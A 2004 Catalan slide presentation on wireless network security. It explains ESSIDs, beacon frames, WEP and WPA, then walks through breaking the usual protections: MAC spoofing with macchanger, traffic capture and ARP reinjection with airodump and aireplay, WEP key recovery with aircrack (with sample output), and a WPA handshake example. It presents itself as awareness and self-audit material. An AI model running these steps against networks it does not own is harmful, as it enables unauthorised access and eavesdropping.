

Securització d'una Xarxa Sensefils



per **Jordi Clopés** copyleft 2004

Continguts

1-Introducció

2-Conceptes Bàsics

3-Mecanismes habituals de securització

4-Vulneració de WEP

5-Vulneració de WPA

1-Introducció

L'intenció és conscienciar de l'alta vulnerabilitat de les xarxes sensefils quan no estan ben implementades i aportar solucions.

En cap cas l'intenció és promoure l'utilització d'aquests coneixements en xarxes alienes sino poder auditar les nostres xarxes.

L'autor no es fa responsable de l'utilització que s'en fagi d'aquesta presentació.

Conceptes bàsics

ESSID:

Extended Service Set Identifier. És el nom de la xarxa, No és un password.

Beacon Frames:

Anuncis de la xarxa emesos per l'AP. Normalment contenen el ESSID.

Management Frames:

Procés d'autenticació mutua i associació.

WEP:

Wireless Equivalent Privacy. Protocol d'encryptació basat en l'algoritme RC4.

WPA:

Wi-Fi Protected Address. Nou mecanisme d'encryptació que preten suplir les mancances de WEP.

Com s'associa un client a un AP?

- Els Aps transmeten **BEACON FRAMES** cada cert interval de temps.

- Per associar-se a una xarxa un client escolta les **BEACON FRAMES** emeses per l'AP.

El client també pot enviar una trama **PROVE REQUEST** per veure si li respon l'AP amb el mateix **ESSID**.

2-Mecanismes habituals de securització

- ACL's** basades en **MACs**.

L'AP només parlarà amb els seus coneguts.

- No emetre Beacon Frames o emetre'ls sense el **ESSID**

- Utilitzar **WEP**:dificulta l'accés.Necesita molt de tràfic per trobar la clau.

- Utilitzar **WPA**.No ho soporten tots els dispositius.

Mecanismes habituals de securització

-MAC:

podem posar-nos la **MAC** d'un client i fer-li un **DoS**.

-No emetre BEACON FRAMES:

un atacant pot esperar a que s'autentiqui un client o fer un atac de desautenticació i obligar la reconnexió dels clients.

-WEP:

Debilitat demostrada de l'algoritme **RC4**.

-WPA:

en **PSK**, una passfrase dèbil pot ser atacada amb un atac de diccionari.

Com canviar la MAC?

-MACCHANGER:

#macchanger -a <interface>

Current MAC: 00:04:e2:4e:05:3b [wireless] (SMC SMC2632W)

Faked MAC: 00:08:21:04:69:71 [wireless] (Cisco AIR-PCM352)

#ifconfig <interface> hw ether <mac address>

#setmac <interface> <mac address>

Atac al WEP

Airsnort vs Aircrack

airsnort:

<http://airsnort.shmoo.com>

Es basa en IV interessants. Desde el 2002 s'implementen dispositius sense fils que filtren aquestes IVs.

aircrack:

<http://www.cr0.net:8040/code/network/aircrack/>

Més efectiu ja que no necessita aquests IVs interessants.

Components de aircrack

airodump:

Versió sense fils del tcpdump. Serveix per esnifar el tràfic.

aireplay:

En el cas que no hi hagi molt de tràfic permet capturar peticions **ARP REQUEST** i reinjectar-les. Aixó fa generar **ARP REPLIES** als clients de l'AP.

aircrack:

Utilitza l'atac **FMS** contra el tràfic capturat. És el que ens mostra la clau **WEP**.

airodump

-Posem la tarja en mode monitor i en el mateix canal que l'AP.
us:iwconfig <interface> mode monitor channel <num canal>

#iwconfig wlan0 mode monitor channel 6

-Comencem a capturar el tràfic:

usage: airodump <wifi interface> <output filename> [mac filter]

#airodump wlan0 tercer.pcap 00:40:05:BC:56:BF

aircrack

us: aircrack [options] <pcap file> <pcap file> ...

```
#aircrack -m 00:40:05:BC:56:BF -n 128  
tercer.pcap
```

aireplay

En el cas que no hi hagi prou tràfic podem capturar paquets coneguts:

DHCP DISCOVER, ARP REQUEST,...

L'aireplay serveix per reinjectar peticions ARP.

usage: aireplay <wifi interface> <input filename>
[bssid]

aireplay wlan0ap replay.pcap

aircrack

```
aircrack 2.1

* Got 2151983 unique IVs | fudge factor = 2
* Elapsed time [00:00:09] | tried 1 keys at 6 k/m

KB    depth  votes
0     0/ 1    6D( 304) 86( 35) 63( 23) 6B( 18) 67( 17) 6A( 16) 75( 13) 36( 10) 68( 10) 89( 9) 05( 4) 65( 4) 4A( 3)
1     0/ 1    61( 284) 8A( 35) A2( 30) F2( 29) F6( 28) AF( 26) D9( 20) F8( 18) 04( 16) 09( 16) F7( 16) 14( 13) 15( 13)
2     0/ 1    72( 192) 13( 43) B2( 30) 90( 25) 27( 20) 9E( 20) 94( 18) A3( 18) 3C( 17) AF( 16) 91( 15) 93( 15) AE( 14)
3     0/ 1    69( 344) 9B( 80) 1C( 20) 17( 18) AF( 18) 14( 16) 19( 16) 36( 16) 1A( 15) AB( 15) F3( 15) C4( 12) 16( 10)
4     0/ 1    61( 487) 2B( 49) 3C( 45) A7( 36) A6( 32) B6( 25) 85( 23) AA( 22) BB( 21) 46( 20) A4( 17) CA( 15) BF( 13)
5     0/ 1    61( 461) 43( 33) C2( 33) 4D( 20) 42( 18) 56( 16) DD( 16) D1( 15) D2( 15) 3B( 14) 44( 12) D3( 12) 5D( 9)
6     0/ 1    6C( 291) 58( 95) D8( 54) E3( 51) D9( 47) EC( 38) 81( 26) D7( 25) B1( 24) F3( 24) 20( 23) 69( 23) A5( 15)
7     0/ 1    72( 506) E2( 59) 63( 33) 62( 31) 6D( 29) 79( 26) 5B( 23) C6( 20) A9( 19) F1( 18) 3C( 15) F3( 15) 6E( 14)
8     0/ 1    65(5927) 75( 293) FC( 277) E6( 236) B4( 211) 01( 208) 95( 207) 2B( 201) DE( 196) 2A( 194) 2E( 186) 49( 185) 93( 183)
9     0/ 1    76( 877) D8( 91) 08( 85) 13( 53) 8A( 48) 75( 45) D6( 45) 89( 41) 8B( 40) 04( 35) D4( 35) 03( 33) 20( 33)
10    0/ 1    65( 601) 3A( 114) C7( 107) 66( 70) 55( 64) A0( 61) 4F( 60) 81( 59) 9C( 56) EA( 54) CB( 52) EF( 50) 80( 48)
11    0/ 1    73( 585) 28( 240) C3( 74) E2( 56) 2C( 44) 9A( 43) DD( 43) 19( 41) 7D( 41) 93( 40) DF( 40) C2( 39) E1( 38)
12    0/ 1    6F(2253) 61( 475) A5( 182) 41( 154) 60( 151) 8C( 85) 63( 81) 5C( 75) A7( 75) FA( 74) 90( 72) 8D( 69) 44( 63)

KEY FOUND! [ 6D61726961616C72657665736F ]

root@orian: /home/orian/Documents
```

Exemple pràctic

wpa attack

wpa attack:

<http://www.tinypeap.com/page8.html>

ssid: linksys2

anonce: 0000000000000000000000e1 ff

snonce:

15ca4b5992d8208ef572a3b0897c23f37dc403dbf6d9ac25c6f7c28cc019
afc9

host mac: 0030ab209adc

ap mac: 000c41c15c85

wpa attack

hexdump:

```
000c41c15c850030ab209adc888e01030079fe01090020000000000000  
0000015ca4b5992d8208ef572a3b0897c23f37dc403dbf6d9ac25c6f7c  
28cc019afc900000000000000000000000000000000000000000000000000000  
0000000000000000000000d0282e4c6c2b8a41158ccdd8e6f9fb66001add1  
80050f20101000050f20201000050f20201000050f2020000
```

WPA

4 Way Handshake

